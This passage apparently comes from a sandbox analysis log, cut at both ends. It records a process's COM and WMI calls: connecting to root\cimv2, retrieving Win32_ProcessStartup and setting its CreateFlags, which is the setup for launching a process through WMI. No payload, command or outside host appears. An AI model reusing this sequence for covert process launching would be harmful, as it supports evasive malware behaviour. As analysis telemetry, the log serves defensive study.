(This=0x1bc943f0) returned 0x3 [0137.658] WbemDefPath:IUnknown:Release (This=0x1bc943f0) returned 0x2 [0137.658] WbemDefPath:IWbemPath:SetText (This=0x1bc943f0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0137.658] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc943f0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0137.658] WbemDefPath:IWbemPath:GetText (in: This=0x1bc943f0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0137.658] WbemDefPath:IWbemPath:GetText (in: This=0x1bc943f0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.658] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0137.658] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0137.659] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0137.659] IUnknown:Release (This=0x1a943398) returned 0x1 [0137.659] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bc89b70) returned 0x0 [0137.660] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89b70, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0137.660] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc89b70, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bc89b90) returned 0x0 [0137.660] WbemLocator:IUnknown:Release (This=0x1bc89b70) returned 0x0 [0137.660] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89b90, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bc89b90) returned 0x0 [0137.660] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89b90, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0137.660] WbemLocator:IUnknown:AddRef (This=0x1bc89b90) returned 0x3 [0137.660] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89b90, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0137.660] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89b90, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0137.660] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89b90, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0137.660] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0137.660] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0137.661] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89b90, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0137.661] WbemLocator:IUnknown:Release (This=0x1bc89b90) returned 0x2 [0137.661] WbemLocator:IUnknown:Release (This=0x1bc89b90) returned 0x1 [0137.661] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0137.661] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0137.661] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89b90, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bc89b90) returned 0x0 [0137.661] WbemLocator:IUnknown:AddRef (This=0x1bc89b90) returned 0x3 [0137.661] WbemLocator:IUnknown:Release (This=0x1bc89b90) returned 0x2 [0137.661] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc943f0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0137.661] WbemDefPath:IWbemPath:GetText (in: This=0x1bc943f0, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0137.661] WbemDefPath:IWbemPath:GetText (in: This=0x1bc943f0, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.661] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bc89bb0) returned 0x0 [0137.661] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc89bb0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bc96af0) returned 0x0 [0137.901] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc96af0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bc42ce0) returned 0x0 [0137.901] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc42ce0, pProxy=0x1bc96af0, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0137.901] WbemLocator:IUnknown:Release (This=0x1bc42ce0) returned 0x1 [0137.901] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc96af0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bc42d20) returned 0x0 [0137.901] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc96af0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bc42ce0) returned 0x0 [0137.901] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc42ce0, pProxy=0x1bc96af0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0137.902] WbemLocator:IUnknown:Release (This=0x1bc42ce0) returned 0x2 [0137.902] WbemLocator:IUnknown:Release (This=0x1bc42d20) returned 0x1 [0137.902] CoTaskMemFree (pv=0x1bc6e220) [0137.902] WbemLocator:IUnknown:AddRef (This=0x1bc96af0) returned 0x2 [0137.902] WbemLocator:IUnknown:Release (This=0x1bc89bb0) returned 0x0 [0137.903] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0137.903] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0137.903] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc96af0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bc42cf0) returned 0x0 [0137.903] WbemLocator:IRpcOptions:Query (in: This=0x1bc42cf0, pPrx=0x1bc89c10, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0137.903] WbemLocator:IUnknown:Release (This=0x1bc42cf0) returned 0x2 [0137.903] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0137.903] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0137.903] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc96af0, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bc96af0) returned 0x0 [0137.903] WbemLocator:IUnknown:Release (This=0x1bc96af0) returned 0x2 [0137.903] SysStringLen (param_1=0x0) returned 0x0 [0137.904] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94330, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0137.904] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94330, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0137.904] IWbemServices:GetObject (in: This=0x1bc96af0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bc78170, ppCallResult=0x0) returned 0x0 [0137.906] IWbemClassObject:Get (in: This=0x1bc78170, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0137.906] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0137.906] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0137.906] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0137.906] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0137.907] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0137.907] IUnknown:Release (This=0x1a943398) returned 0x1 [0137.909] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bc89bb0) returned 0x0 [0137.909] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc89bb0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0137.909] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc89bb0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bc944b0) returned 0x0 [0137.909] WbemDefPath:IUnknown:Release (This=0x1bc89bb0) returned 0x0 [0137.909] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc944b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bc944b0) returned 0x0 [0137.910] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc944b0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0137.910] WbemDefPath:IUnknown:AddRef (This=0x1bc944b0) returned 0x3 [0137.910] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc944b0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0137.910] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc944b0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0137.910] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc944b0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bc89bd0) returned 0x0 [0137.910] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc89bd0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0137.910] WbemDefPath:IUnknown:Release (This=0x1bc89bd0) returned 0x3 [0137.910] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0137.910] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0137.910] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc944b0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0137.911] WbemDefPath:IUnknown:Release (This=0x1bc944b0) returned 0x2 [0137.911] WbemDefPath:IUnknown:Release (This=0x1bc944b0) returned 0x1 [0137.911] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0137.911] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0137.911] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc944b0, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bc944b0) returned 0x0 [0137.911] WbemDefPath:IUnknown:AddRef (This=0x1bc944b0) returned 0x3 [0137.911] WbemDefPath:IUnknown:Release (This=0x1bc944b0) returned 0x2 [0137.911] WbemDefPath:IWbemPath:SetText (This=0x1bc944b0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0137.911] IWbemClassObject:Get (in: This=0x1bc78170, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28941b0*=0, plFlavor=0x28941b4*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28941b0*=19, plFlavor=0x28941b4*=0) returned 0x0 [0137.911] IWbemClassObject:Get (in: This=0x1bc78170, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28941b0*=19, plFlavor=0x28941b4*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28941b0*=19, plFlavor=0x28941b4*=0) returned 0x0 [0137.911] IWbemClassObject:Put (This=0x1bc78170, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0137.911] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94270, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0137.911] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0137.912] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0137.912] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.912] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0137.912] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0137.912] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0137.912] IUnknown:Release (This=0x1a943398) returned 0x1 [0137.914] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bc89d70) returned 0x0 [0137.914] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc89d70, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0137.915] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc89d70, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bc94570) returned 0x0 [0137.915] WbemDefPath:IUnknown:Release (This=0x1bc89d70) returned 0x0 [0137.915] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94570, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bc94570) returned 0x0 [0137.915] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94570, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0137.915] WbemDefPath:IUnknown:AddRef (This=0x1bc94570) returned 0x3 [0137.915] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94570, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0137.915] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94570, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0137.915] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94570, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bc89db0) returned 0x0 [0137.915] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc89db0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0137.915] WbemDefPath:IUnknown:Release (This=0x1bc89db0) returned 0x3 [0137.915] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0137.916] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0137.916] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94570, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0137.916] WbemDefPath:IUnknown:Release 